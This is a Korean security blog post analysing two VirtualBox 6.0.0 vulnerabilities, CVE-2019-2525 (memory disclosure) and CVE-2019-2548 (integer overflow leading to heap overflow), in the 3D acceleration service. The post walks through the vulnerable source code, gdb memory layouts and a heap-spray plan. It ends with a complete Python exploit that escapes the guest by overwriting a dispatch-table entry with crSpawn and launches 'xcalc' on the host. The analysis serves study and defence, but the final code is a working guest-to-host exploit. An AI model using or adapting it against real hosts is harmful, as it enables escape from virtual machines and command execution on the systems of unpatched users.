서론 및 소개
1-day exploit이라는 키워드로 검색을 하면 다양한 취약점들에 대한 분석 내용이 나온다. 그중, BoB 과제로 나온 것 같은 VirtualBox 관련 취약점이 눈에 띄어서 이에 대한 내용을 분석해보려고 한다. 이미 BoB 교육생분들이 블로그를 통해서 상세하게 설명한 글들이 존재해서, 해당 글에서는 기존 글들을 참고하여 정리하는 수준으로 작성하려 한다.
3D 가속화 개요
- Chromium 라이브러리 기반
- OpenGL 기반으로 3D 그래픽을 원격으로 렌더링 할 수 있는 라이브러리
- VirtualBox에서는 VBoxHGCM 프로토콜 이용 (Host Guest Communication Manager)
- 게스트OS의 chromium clinet와 호스트OS의 chromium server와 통신 가능
- 취약점 재현을 위해서 Chromium 통신을 해야하기 때문에 쉽게 할 수 있는 3dpwn 이용
- 위의 이미지는 렌더링 되는 데이터 구조
HGCM 통신
- crMessage 처리를 위해 CRVBOXSVCBUFFER_t 이중연결리스트 구조체 이용
- Guest OS에서 crMessage 생성 후 Host OS의 Chromium 서버로 전송
- 서버에서는 CRVBOXSVCBUFFER_t 구조체 할당 및 crMessage 관리
- 취약점 분석을 위해 살펴봐야할 함수 (src\VBox\HostServices\SharedOpenGL\crserver\crservice.cpp)
- SHCRGL_GUEST_FN_WRITE_BUFFER : 공간 할당 및 crMeesage Write
- SHCRGL_GUEST_FN_WRITE_READ_BUFFERED : crMessage Read 및 opcode function call, 공간해제
- SHCRGL_GUEST_FN_WRITE_BUFFER
- Client(GuestOS)에서 데이터를 hgcm_call( )을 호출하여 Server로 전송한다.
- paParam[ ]에 대한 Type check를 진행하고, 파라미터를 처리한다.
- svcGetBuffer( )를 통해 인자로 받은 id와 size에 맞는 CRVBOXSVCBUFFER_t 구조체 버퍼를 리턴한다. (또는 새로운 버퍼 할당 및 리턴)
- memcpy( )로 인자로 받은 버퍼(실제 데이터)를 리턴받은 구조체 버퍼에 복사한다.
typedef struct _CRVBOXSVCBUFFER_t {
uint32_t uiId;
uint32_t uiSize; //crMessage data size
void* pData; //crMessage data address
_CRVBOXSVCBUFFER_t *pNext, *pPrev; //Double linked list
} CRVBOXSVCBUFFER_t;
- SHCRGL_GUEST_FN_WRITE_READ_BUFFERED
- Client(GuestOS)에서 데이터를 hgcm_call( )을 호출하여 Server로 전송한다.
- paParam[ ]에 대한 Type check를 진행하고, 파라미터를 처리한다. (위와 동일)
- svcGetBuffer( )를 통해 구조체 버퍼를 리턴받는다.
- 구조체 버퍼와 size, 그리고 u32ClientID를 인자로 crVBoxServerClientWrite( )를 호출한다. (server_main.c)
- crVBoxServerClientWrite에서는 pClient에 crVBoxServerClientGet( )로 인자값을 저장한다.
- crVBoxServerInternalClientWriteRead(pClient)를 호출한다.
- crServerServiceClients( )를 호출한다. (server_stream.c)
- crServerServiceClient(q)를 호출한다. (q는 const RunQueue *qEntry)
- crServerDispatchMessage(conn, msg, len);를 호출한다. (conn은 연결정보, msg는 pData 메시지, len은 길이)
- crUnpack(data_ptr, data_ptr_end, data_ptr-1, msg_opcodes->numOpcodes, &(cr_server.dispatch)); 호출
- data_ptr : first command's operands
- data_ptr_end : first byte after command's operands
- data_ptr - 1 : first command's opcode
- msg_opcodes->numOpcodes : how many opcodes
- &(cr_server.dispatch)) : the CR dispatch table, cr_server 구조체 멤버 중 dispatch 테이블에 있는 함수 주소 들어감.
- crVBoxServerClientWrite( ) 실행 후, svcFreeBuffer(pSvcBuffer)를 실행하며 Free 진행
- 최종적으로 crUnpack( ) 함수에서 opcode 값에 따라 로직 수행
- SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 인자로 실행 시 함수 동작
- 서버에서 할당한 버퍼도 메모리 해제
CVE-2019-2525
- Information disclosure (crUnpackExtendGetAttribLocation( ) in unpack_shaders.c)
//cr_unpack.h
#define READ_DATA( offset, type ) \
*( (const type *) (cr_unpackData + (offset)))
#define SET_RETURN_PTR( offset ) do { \
CRDBGPTR_CHECKZ(return_ptr); \
crMemcpy( return_ptr, cr_unpackData + (offset), sizeof( *return_ptr ) ); \
} while (0);
#define SET_WRITEBACK_PTR( offset ) do { \
CRDBGPTR_CHECKZ(writeback_ptr); \
crMemcpy( writeback_ptr, cr_unpackData + (offset), sizeof( *writeback_ptr ) ); \
} while (0);
//unpack_shaders.c
void crUnpackExtendGetAttribLocation(void)
{
int packet_length = READ_DATA(0, int);
GLuint program = READ_DATA(8, GLuint);
const char *name = DATA_POINTER(12, const char);
SET_RETURN_PTR(packet_length-16);
SET_WRITEBACK_PTR(packet_length-8);
cr_unpackDispatch.GetAttribLocation(program, name);
}
- READ_DATA( )는 crMessage의 data 영역에서 값을 읽는다.
- cr_unpackData + 0에서 int type으로 값을 읽어서 packet_length에 저장한다.
- 해당 값을 인자로 SET_RETURN_PTR(packet_length-16), SET_WRITEBACK_PTR(packet_length-8)을 호출한다.
- 각 함수는 crMemcpy( )로 인자로 받은 offset + cr_unpackData값을 return_ptr, writeback_ptr에 복사한다.
- 이때, packet_length는 공격자가 제어할 수 있으며 별도의 검증 루틴이 존재하지 않으므로 취약점이 발생할 수 있다.
- Guest OS에서는 아래의 파이썬 코드(3dpwn)를 실행하고, Host OS에서는 gdb로 디버깅을 할 수 있다.
import time
from struct import pack, unpack
from chromium import *
def leak_msg(offset):
msg = (
pack("<III",CR_MESSAGE_OPCODES, 0x41414141,1)
+ "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
+ pack("<I", offset)
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
+ pack("<I", 0x42424242))
return msg
if __name__ == '__main__':
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client)
print "Wait 3s.."
time.sleep(3)
leak = crmsg(client,leak_msg(16))
print hex(unpack("<Q",leak[0:8])[0])
print hex(unpack("<Q",leak[8:16])[0])
print hex(unpack("<Q",leak[16:24])[0])
- 취약점이 발생하는 crUnpackExtendGetAttribLocation() 함수에 브레이크 포인트를 설정한다.
- SET_RETURN_PTR의 crMemcpy( )의 두 번째 인자값을 확인하여 crUnpackData를 확인할 수 있다.
- offset은 공격자가 제어할 수 있으므로 공격에 필요한 정보를 얻기위해 주변을 탐색한 결과, crVBoxHGCMAlloc( ) 함수 주소를 얻을 수 있다.
- 위의 파이썬 코드에서 offset을 0xfffff618(-0x9E8)으로 설정하여 전송하면 crVBoxHGCMAlloc( )를 leak할 수 있다.
CVE-2019-2548
- Integer Overflow(crServerDispatchReadPixels( ) in server_readpixels.c)
void SERVER_DISPATCH_APIENTRY
crServerDispatchReadPixels(GLint x, GLint y, GLsizei width, GLsizei height,
GLenum format, GLenum type, GLvoid *pixels)
{
const GLint stride = READ_DATA( 24, GLint );
const GLint alignment = READ_DATA( 28, GLint );
const GLint skipRows = READ_DATA( 32, GLint );
const GLint skipPixels = READ_DATA( 36, GLint );
const GLint bytes_per_row = READ_DATA( 40, GLint );
const GLint rowLength = READ_DATA( 44, GLint );
CRASSERT(bytes_per_row > 0);
...
#endif
{
CRMessageReadPixels *rp;
uint32_t msg_len;
if (bytes_per_row < 0 || bytes_per_row > UINT32_MAX / 8 || height > UINT32_MAX / 8)
{
crError("crServerDispatchReadPixels: parameters out of range");
return;
}
msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height; //Integer Overflow
rp = (CRMessageReadPixels *) crAlloc( msg_len );
if (!rp)
{
crError("crServerDispatchReadPixels: out of memory");
return;
}
cr_server.head_spu->dispatch_table.ReadPixels(x, y, width, height,
format, type, rp + 1);
rp->header.type = CR_MESSAGE_READ_PIXELS;
rp->width = width;
rp->height = height;
rp->bytes_per_row = bytes_per_row;
rp->stride = stride;
rp->format = format;
rp->type = type;
rp->alignment = alignment;
rp->skipRows = skipRows;
rp->skipPixels = skipPixels;
rp->rowLength = rowLength;
/* <pixels> points to the 8-byte network pointer */
crMemcpy( &rp->pixels, pixels, sizeof(rp->pixels) );
crNetSend( cr_server.curClient->conn, NULL, rp, msg_len );
crFree( rp );
}
}
- rp의 size와 bytes_per_row * height를 더한 값을 msg_len으로 저장하여 crAlloc( )을 통해 힙을 할당한다.
- bytes_per_row와 height에 대한 값 인증이 미흡하여 msg_len을 계산할 때 Integer Overflow가 발생 가능하다.
- ReadPixels( ) 이후, 값을 넣을 때 rp는 0x38 크기 이상으로 생각하기 때문에 0x38보다 작은 크기로 msg_len을 설정하여 힙을 할당하면 heap overflow가 발생 가능하다.
- 해당 함수를 호출하기 위해 opcode를 CR_READPIXELS_OPCODE로 설정하여 crMessage를 전송하면 된다.
- crMessage는 crUnpackReadPixels( ) 함수의 변수를 통해 구조에 맞게 설정하면 된다.
- 3dpwn의 alloc_buf( )를 통해 crMessage를 할당하면 CRVBOXSVCBUFFER_t, pData가 메모리에 저장된다.
- 0x7fa9402dafe0 ~ 0x7fa9402dafe8 : Heap header
- 0x7fa9402daff0, 0x7fa9402daff4 : uiId(0x6), uiSize(0x20)
- 0x7fa9402daff8 : pData 포인터
- 0x7fa9402db00 : pNext 포인터
- 0x7fa9402db08 : pPrev 포인터
- 0x7fa9402db10 ~ 0x7fa9402db18 : Heap header
- 0x7fa9402db20 ~ 0x7fa9402db038 : pData (size=0x20)
- ReadPixels의 Integer Overflow를 통해 msg_len을 0x20으로 맞추기 위해서는 다음과 같이 변수를 설정한다.
- bytes_per_row = 0x1FFFFFFF (UINT32_MAX / 8 = 0x1FFFFFFF)
- height = 0x8
- 0x38 + 0x1FFFFFFF * 0x8 = 0x100000020 --> 0x20 (Integer Overflow)
- 이제 crMessagedhk ReadPixels을 0x20 크기로 할당할 수 있다.
- 이를 통해 다음과 같은 시나리오로 heap overflow로 OOB Write를 할 수 있다.
- crMessage를 0x20 크기로 Heap Spray
- 짝수, 혹은 홀수번째 crMessage Free
- ReadPixels 0x20 크기로 할당
- 버퍼는 0x20으로 할당되지만, 실제로 코드에서 쓰는 값은 0x38이므로 0x18만큼 Heap Overflow가 발생
- 이를 통해 crMessage의 buffer_id와 size를 덮을 수 있고, 변조된 id로 OOB Write
heap = []
for i in range(0x501): #heap alloc
heap.append(alloc_buf(client, 0x20, "Z"*0x20))
heap = heap[::-1] #heap reverse
for buf in heap[1:0x100:2]: # Free buf
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf, "A", 0])
- alloc_buf( )를 통해 0x20 크기로 'Z'*0x20으로 데이터를 할당한다.
- heap을 거꾸로 정렬한다.
- (free 후 재할당할 때, 뒤쪽에 버퍼가 아닌 앞쪽에 버퍼에 재할당하여 overwrite를 할 수 있게)
- SHCRGL_GUEST_FN_WRITE_READ_BUFFERED을 통해 Free를 한다.
static void svcFreeBuffer(CRVBOXSVCBUFFER_t* pBuffer)
{
Assert(pBuffer);
if (pBuffer->pPrev)
{
pBuffer->pPrev->pNext = pBuffer->pNext;
}
else
{
Assert(pBuffer==g_pCRVBoxSVCBuffers);
g_pCRVBoxSVCBuffers = pBuffer->pNext;
}
if (pBuffer->pNext)
{
pBuffer->pNext->pPrev = pBuffer->pPrev;
}
RTMemFree(pBuffer->pData);
RTMemFree(pBuffer);
}
- svcFreeBuffer( )에서 보면, pBuffer->pData, pBuffer 순서로 Free가 진행되는 것을 확인할 수 있다.
def make_readpixels():
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x51515151, 1)
+ "\x00\x00\x00" + chr(CR_READPIXELS_OPCODE)
+ pack("<IIII", 0x00, 0x00, 0x00, 0x08) #x, y, w, h
+ pack("<IIII", 0x35, 0x00, 0x00, 0x00) #format, type, stride, align
+ pack("<IIII", 0x00, 0x00, 0x1FFFFFFD, 0x00) #rows, pixels, bytes_per_row, rowLength
+ pack("<III", 0xDEADBEEF, 0xFFFFFFFF, 0x00)) #pixels
return msg
- Free 이후, ReadPixels의 Integer overflow를 위해 height와 bytes_per_row를 위와 같이 설정하여 message를 전송한다.
- format이 0x35인 이유는 해당 위치가 heap size가 나타나는 공간이기 때문이다.
- pixels 부분이 uiId(0xdeadbeef)와 uiSize(0xffffffff)를 덮을 내용이다.
- alloc_buf를 통해 'Z'*0x20을 할당하여 아래와 같이 힙이 할당된 것을 확인할 수 있다.
- SHCRGL_GUEST_FN_WRITE_READ_BUFFERED opcode를 전송하여 짝수번째 힙을 해제한다.
- 그 결과, 아래와 같이 짝수번째 힙이 해제된 것을 확인할 수 있다. (0x415, 0x417 uiId가 free됨)
- make_readpixels 함수를 통해 작성한 msg를 전송하여 아래와 같이 uiId와 uiSize를 Overwrite 한다.
- 이를 통해 0xdeadbeef라는 uiId에 접근 가능하고, size는 0xffffffff이므로 모든 메모리에 접근 가능하다.
- hgcm_call(..., SHCGRL_GUEST_FN_WRITE_BUFFER, ...)을 통해 0xdeadbeef uiId의 다음 메모리까지 0xcafebeef로 overwrite 한다.
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, "AAAA"]
- 마지막 인자의 리스트는 [uiId, size, offset, data]로, "0xdeadbeef uiId에 size는 0xffffffff로 0번째 offset부터 "AAAA"를 write 하겠다."라는 의미다.
- 0xdeadbeef uiId와 다음 uiId의 offset 차이는 0x90으로 0x90 이후에 새로운 uiId와 uiSize로 overwrite하여 원하는 곳에 OOB Write를 할 수 있게 설정할 수 있다.
익스플로잇 시나리오
- VirtualBox에는 command를 입력받아 execvp( )로 호출하는 crSpawn( ) 함수가 있기 때문에 vbox exploit에서 주로 사용된다.
- 하지만 crMessage의 opcode를 통해 직접 호출할 방법은 없기 때문에, opcode로 호출 가능한 함수 중 crSpawn( ) 함수와 비슷하게 인자를 받는 함수를 찾아서 함수테이블을 overwrite하여 공격한다.
//crSpawn function
CRpid crSpawn( const char *command, const char *argv[] );
- 함수목록은 gdb를 통해 찾을 수도 있고, 소스코드를 통해 찾을 수도 있다.
//gdb cr_unpackDispatch 함수 목록
gdb-peda$ p cr_unpackDispatch
$1 = {
Accum = 0x7f756e663560 <glAccum>,
ActiveStencilFaceEXT = 0x7f75266e8cc0 <crServerDispatchActiveStencilFaceEXT>,
ActiveTextureARB = 0x7f75266e8cf0 <crServerDispatchActiveTextureARB>,
AlphaFunc = 0x7f75266e8d20 <crServerDispatchAlphaFunc>,
AreProgramsResidentNV = 0x7f75266f4fc0 <crServerDispatchAreProgramsResidentNV>,
AreTexturesResident = 0x7f75266f4740 <crServerDispatchAreTexturesResident>,
ArrayElement = 0x7f756e664100 <glArrayElementEXT>,
AttachShader = 0x7f75266f4950 <crServerDispatchAttachShader>,
BarrierCreateCR = 0x7f75266f92a0 <crServerDispatchBarrierCreateCR>,
BarrierDestroyCR = 0x7f75266f95e0 <crServerDispatchBarrierDestroyCR>,
...
- 소스코드는 SharedOpenGL\unpacker, SharedOpenGL\crserverlib 경로의 소스파일을 확인하면 된다.
- crServerDispatchBoundsInfoCR 함수가 포인터 인자 2개 이상 받으므로 우리 조건에 부합한 것을 확인할 수 있다.
많은 글에서 해당 함수를 통해 익스플로잇을 진행해서 다른 함수를 찾아보려 했는데 마땅한 함수를 찾을 수 없었다.
void SERVER_DISPATCH_APIENTRY
crServerDispatchBoundsInfoCR( const CRrecti *bounds, const GLbyte *payload,
GLint len, GLint num_opcodes )
- crServerDispatchBoundsInfoCR 함수의 인자는 아래와 같이 파싱하기 때문에 bounds에 "xcalc", payload에 "xcalc" 문자열 주소를 넣으면 된다.
void crUnpackBoundsInfoCR( void )
{
CRrecti bounds;
GLint len;
GLuint num_opcodes;
GLbyte *payload;
len = READ_DATA( 0, GLint );
bounds.x1 = READ_DATA( 4, GLint );
bounds.y1 = READ_DATA( 8, GLint );
bounds.x2 = READ_DATA( 12, GLint );
bounds.y2 = READ_DATA( 16, GLint );
num_opcodes = READ_DATA( 20, GLuint );
payload = DATA_POINTER( 24, GLbyte );
cr_unpackDispatch.BoundsInfoCR( &bounds, payload, len, num_opcodes );
INCR_VAR_PTR();
}
- crMessage의 pData 포인터를 덮고싶은 주소로 변조하면, SHCRGL_GUEST_FN_WRITE_BUFFER를 통해 pData에 데이터를 입력할 때 변조된 주소에 데이터가 쓰이게 된다.
- 0xdeadbeef uiId를 통해 다음 uiId를 0xcafebeef로 덮어쓰고, pData를 cr_unpackDispatch+216 (crServerDispatchBoundsInfoCr 함수 주소 테이블)로 덮는다.
- 0xcafebeef uiId에 pData를 입력하면 cr_unpackDispatch+216에 값이 쓰이게 되므로 이 주소를 crSpawn( ) 주소를 덮어쓴다.
- 이후 인자전달을 위해 같은 방법으로 cr_unpackDispatch 주소에 "xcalc"를 입력한다.
- crServerDispatchBoundsInfoCR 를 호출한다.
최종 익스플로잇 코드
import time
from struct import pack,unpack
from chromium import *
def leak_msg(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
+ pack("<I", offset)
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
+ pack("<I", 0x42424242))
return msg
def make_readpixels():
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x51515151, 1)
+ "\x00\x00\x00" + chr(CR_READPIXELS_OPCODE)
+ pack("<IIII", 0x00, 0x00, 0x00, 0x08) #x, y, w, h
+ pack("<IIII", 0x35, 0x00, 0x00, 0x00) #format, type, stride, align
+ pack("<IIII", 0x00, 0x00, 0x1FFFFFFD, 0x00) #rows, pixels, bytes_per_row, rowLength
+ pack("<III", 0xDEADBEEF, 0xFFFFFFFF, 0x00)) #pixels
return msg
def call_crSpawn(addr):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x61616161, 1)
+ "\x00\x00\x00" + chr(CR_BOUNDSINFOCR_OPCODE)
+ pack("<IQ", 0x00, 0x636c616378) #len, bounds("xcalc" string)
+ pack("<III", 0x00, 0x00, 0x00) #bounds, num_opcodes
+ pack("<Q", addr)) #payloads (&"xcalc")
return msg
if __name__ == '__main__':
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client)
print "Wait 3s ..."
time.sleep(3) #sleep(3) for breakpoint
leak = crmsg(client, leak_msg(0xfffff618))
crVBoxHGCMAlloc = unpack("<Q", leak[8:16])[0]
crServerDispatchBoundsInfoCR = crVBoxHGCMAlloc + 0x252a40
crSpawn = crVBoxHGCMAlloc - 0xc160
cr_unpackDispatch = crVBoxHGCMAlloc + 0x534e50
print "[+] crVBoxHGCMAlloc = "hex(crVBoxHGCMAlloc)
print "[+] cr_unpackDispatch = "+hex(cr_unpackDispatch)
print "[+] crSpawn = "+hex(crSpawn)
heap = []
for i in range(0x501): #heap spray
heap.append(alloc_buf(client, 0x20, "Z"*0x20))
heap = heap[::-1] #reverse heap for re-alloc
raw_input("alloc finish!")
for buf in heap[1:0x100:2]: #heap free
hgcm_call(client, SHCRGL_GUEST_FN_WIRTE_READ_BUFFERED, [buf, "A", 0])
raw_input("free finish!")
crmsg(client, make_readpixels())
raw_input("readpixels finish!")
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x90, pack("<II", 0xcafebeef, 0xffffffff)+pack("<Q", cr_unpackDispatch+216)])
raw_input("write to 0xdaedbeef")
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebeef, 0xffffffff, 0x00, pack("<Q", crSpawn)])
raw_input("write cr_unpackDispatch to crSpawn")
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x90, pack("<II", 0xcafebeef, 0xffffffff)+pack("<Q", cr_unpackDispatch)])
raw_input("re-write to 0xdaedbeef")
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebeef, 0xffffffff, 0x00, "xcalc"])
raw_input("write xcalc string")
crmsg(client, call_crSpawn(cr_unpackDispatch)) #call crSpawn with "xcalc"
raw_input("Done")
참고자료
- 3D Accelerated Exploitation (링크)
- [1-day] Virutalbox 6.0.0 Exploit (CVE-2019-2525 / CVE-2019-2548) (링크)
- CVE-2019-2525, CVE-2019-2548(1), (2) (링크1, 링크2)
'Security' 카테고리의 다른 글
Windows UAC Bypass (0) | 2022.02.24 |
---|---|
hackingzone X-MAS CTB 후기 (0) | 2022.01.08 |
CVE-2019-1436 1-day 분석 (0) | 2021.12.23 |
[Black hat USA 2020] Exploiting Kernel Races through Taming Thread Interleaving 리뷰 (0) | 2021.11.27 |
[pwnable.xyz] WriteUp (0) | 2021.11.25 |